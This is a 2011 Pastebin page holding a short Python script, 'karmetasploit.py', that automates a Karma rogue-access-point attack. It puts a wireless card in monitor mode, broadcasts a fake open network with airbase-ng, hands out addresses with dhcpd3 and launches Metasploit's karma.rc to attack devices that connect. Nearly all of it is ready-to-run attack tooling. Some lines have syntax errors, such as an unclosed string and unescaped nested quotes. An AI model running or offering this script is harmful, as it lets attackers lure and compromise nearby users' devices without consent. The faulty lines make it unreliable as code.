Advertisement
infodox

karmetasploit.py

Dec 29th, 2011
226
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.44 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # www.infodox.co.cc
  3. # blog.infodox.co.cc
  4. # Karmetasploit script. Assumes karma.rc is in current working dir.
  5. import os
  6. import sys
  7.  
  8. # Function: amiroot()
  9. def amiroot():
  10.     if os.geteuid() != 0:
  11.         print("[-] You are not root... Sudo may be of some assistance!")
  12.         sys.exit(1)
  13.     else:
  14.         pass
  15.  
  16. # Function: get_ifaces() This works in 3
  17. def get_ifaces():
  18.         airmon = os.popen("airmon-ng")
  19.         ifacelst = airmon.readlines()
  20.         li=0
  21.         for line in ifacelst:
  22.                 line = line.replace("Interface\tChipset\t\tDriver","")
  23.                 line = line.strip()
  24.                 inum = li + 1
  25.                 if line:
  26.                         line = line.split("\t\t")
  27.                         print (line[0])
  28.                         ifaces = line[0]
  29.                         return ifaces
  30.                        
  31. amiroot()
  32. print("========== Currently Available Interfaces ==========")
  33. get_ifaces()
  34. print("====================================================")
  35. iface = raw_input("what interface are you changing (eg: wlan0): ") # Sets the interface
  36. print("[+] Using interface " + iface)
  37. os.popen("airmon-ng start " + iface)
  38. print("[+] Airmon putting " + iface + " in monitor mode...
  39. os.popen("xterm -e airbase-ng -P -C 30 -e "U R PWND" -v mon0 &")
  40. os.popen("ifconfig at0 up 10.0.0.1 netmask 255.255.255.0")
  41. os.popen("dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0")
  42. os.popen("xterm -e msfconsole -r karma.rc")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement